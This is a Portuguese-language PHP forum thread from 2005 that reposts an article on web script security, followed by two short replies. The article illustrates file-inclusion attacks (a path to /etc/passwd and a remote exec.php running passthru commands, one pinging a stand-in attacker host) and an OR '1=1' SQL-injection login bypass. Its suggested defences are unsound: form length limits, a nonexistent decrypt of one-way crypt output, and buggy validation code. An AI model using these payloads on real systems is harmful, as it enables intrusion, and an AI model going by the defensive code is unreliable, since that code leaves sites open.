Jump to content


Photo

Segurança


  • Faça o login para participar
2 replies to this topic

#1 H3NR!QU3

H3NR!QU3

    Progamador PHP!

  • Usuários
  • 1032 posts
  • Sexo:Não informado
  • Localidade:cuiaba MT
  • Interesses:programação... PHP,JAVA,C++ ,c,c# asp, asp.net e delph

Posted 18/01/2005, 11:26

ola galera hj vim fala di assunto que si tornou muito comum na internet.

a falta de seguranças nos scripts e nas querys ;)

A segurança é um dos fatores primordiais para o programador, um script mal desenvolvido pode abrir brechas no servidor tornando informações sigilosas disponíveis na Web para milhares de visitantes.



A flexibilidade do PHP é que ele é uma ferramenta útil ao desenvolvimento de sistemas para internet, mas esta mesma flexibilidade pode ser usada de forma inadequada por usuários mal intencionados e proporcionar vulnerabilidades no servidor.

É fundamental restringir ao máximo a visualização das informações que trafegam pelos cabeçalhos HTTP, e certificar-se de que estas sejam postadas de um lado e recebidas de outro dentro de critérios definidos pelo programador. A má utilização das funções include(), require() e fopen() além da configuração das variáves globais no servidor é fundamental para manter um nível de segurança adequado.

Analizamos o seguinte exemplo:

Um programador desprevinido se utiliza do método de fast templates para mostrar conteúdo dinâmico na página, a cada link clicado a função include é chamada para mostrar novo conteúdo na página, a função include recebe da variável $link qual será este conteúdo, passando o mouse pelo link em questão vemos:

http://exemplo.com.b...aleconosco.html


Neste caso (o que já vi por aí na web), devemos considerar o seguinte:

- Foi verificado a extensão do arquivo antes de passar o valor de $link para a função include?
- Os diretórios transversais são permitidos?
- É permitido arquivos remotos?

Se a resposta é não para apenas uma destas perguntas este servidor está a prestes a ser invadido.

Considere o seguinte:


http://exemplo.com.b..../../etc/passwd

E pronto, todas as senhas do servidor são públicas.

http://exemplo.com.b...com.br/exec.php

Onde exec.php contém:

<?php
passthru('id');
passthru('ls -l /etc');
passthru('ping -c l paghacker.com.br');
passthru('echo Você foi hackeado | mail root');
?>

Seu /etc é público ....

Acho que deu para ter uma idéia do que pode ser feito se utilizando desta vulnerabilidade.

Outra vulnerabilidade muito explorada são telas de login tipo usuário e senha, em muitas páginas já encontrei aqueles que incluem as variáveis diretamente a uma string sql, o que torna o login numa piada. Examine o seguinte exemplo:


<input type=text name=login>
<input type=password name=senha>


Isso gera as variáveis $login e $senha. Na página seguinte encontramos:

<?php
$sql = "SELECT * FROM users WHERE user=$login AND pass=$senha";
?>


Perfeito, está pronta a ser invadido, realize se o usuário digitar
OR "1=1" no login e senha, teremos:


<?php
$sql = "SELECT * FROM users WHERE user= OR '1=1' AND pass= OR '1=1'";
?>


Ou seja, $user = a nada OR 1=1 -->passou
$senha = a nada OR 1=1 -->passou
e pode-se fazer muito mais....

E o usuário está conectado ao sistema. Pode parecer ridículo mas o número de páginas em que estas falhas podem ser encontradas são inúmeras pois tem a impressão de que a segurança está apenas a cargo do adminitrador de rede, é óbvio que um servidor bem configurado evita muitas destas vulnerabilidades, mas não dá para confiar.

Para diminiur a vulnerabilidade ou evitar que invasões ridículas como estas aconteçam podemos nos utilizar de pequenos cuidados no código da tela de login por exemplo:


<input type=text name=login maxsize=5>
<input type=password name=senha maxsize=5>


Só isto já ajuda bastante pra começar, o invasor não poderá digitar o que quiser para login, determine limite para seus usuários. Isso é o básico, além disto é preciso usar criptografia para passagem de variáveis, abaixo seguem alguns exemplos:

Este arquivo é o login.php



<?php
if (!$flag) {
?>
<form name="login" action="login.php">
<input type="text" name="login" maxsize="5">
<input type="password" name="senha" maxsize="5">
<input type="hidden" name="flag" value="1">
</form>
<?php
} else {
$log = crypt(strtoupper($login), "d19");
$snh = crypt(strtoupper($senha), "b8");
?>
<form name="autentica" action="autentica.php?l=<?php echo $log; ?>&s=<?php echo $snh; ?>" method="POST">
</form>
<script language="javascript">
autentica.submit();
</script>
<?
}
?>


Do outro lado no autentica.php:

<?php
$login = decrypt(strtoupper($log), "d19");
$senha = decrypt(strtoupper($snh), "b8");
?>



Esta etapa permite o sigilo das informações que trafegam pela Internet, e dificulta um pouco mais a tentava de logins não permitidos. Mas o essencial é a utilização de expressões regulares que verificam a consistencia destes informações, podemos nos utilizar delas para verificarmos a inserção de comandos SQL nas variáveis, verificar extensões antes de submetelas a includes, requires e fopens. As expressões regulares podem também verificar um contexto pre-definido para senhas por exemplo, mas para tanto é preciso que você defina o padrão de senha e gere as mesmas dinamicamente para seu usuário.

Vejamos um exemplo para nosso caso:

Ainda no autentica.php, abaixo da desemcriptação verificamos a consistencia das variáveis recebidas.


<?php
$check1 = 0;
$check2 = 0;

if (ereg("^[a-z]+\.@", $login)) {
$check1 = 1;
} else {
echo ("Vai hackear outro site !");
}

if (ereg("[0-9]{5}", $senha)) {
$check2 = 1;
} else {
echo ("Vai hackear outro site !");
}

if ($check1 == 1 AND check2 == 1) {
//submeta os valores
}
?>



Sendo que meus login tem como padrão terminar com @ e minhas senhas são sempre numéricas de 5 dígitos.

E as variáveis estão prontas para serem incluídas na string SQL.

Espero ter aberto os olhos dos iniciantes na codificação PHP, para que cada vez mais a linguagem se torne sinônimo de eficiência, versatilidade e segurança quando utilizada para aplicações de qualquer porte, futuramente publicarei novo artigo mais prático mostrando vários exemplos.

Até mais,
Jacques E. W.
por Jacques E. Winand



como vcs podem ver nao foi eu que escrevi o artigo acima o autor do artigo foi o Jacques E. Winand


T+ (y)

#2 scrax1000

scrax1000

    Turista

  • Usuários
  • 47 posts
  • Sexo:Não informado

Posted 12/03/2005, 00:48

Ow... pelo que vi ae... o kra falou do include... que cria a var $link e talz... mas não falou nada sobre como previnir isso.... mas vlwwww
ScraX.dEsiGNeR

#3 kelme

kelme

    12 Horas

  • Usuários
  • 262 posts
  • Sexo:Não informado

Posted 13/03/2005, 15:53

Valeu, Henrique. Você sempre posta ótimos tópicos que ajudam muito o pessoal que está aprendendo PHP, eu já evoluí muito com sua ajuda, é claro que ainda sou um novatão sem muito jeito, mas já consigo fazer algumas coisinhas sozinho, continue assim!




1 user(s) are reading this topic

0 membro(s), 1 visitante(s) e 0 membros anônimo(s)

IPB Skin By Virteq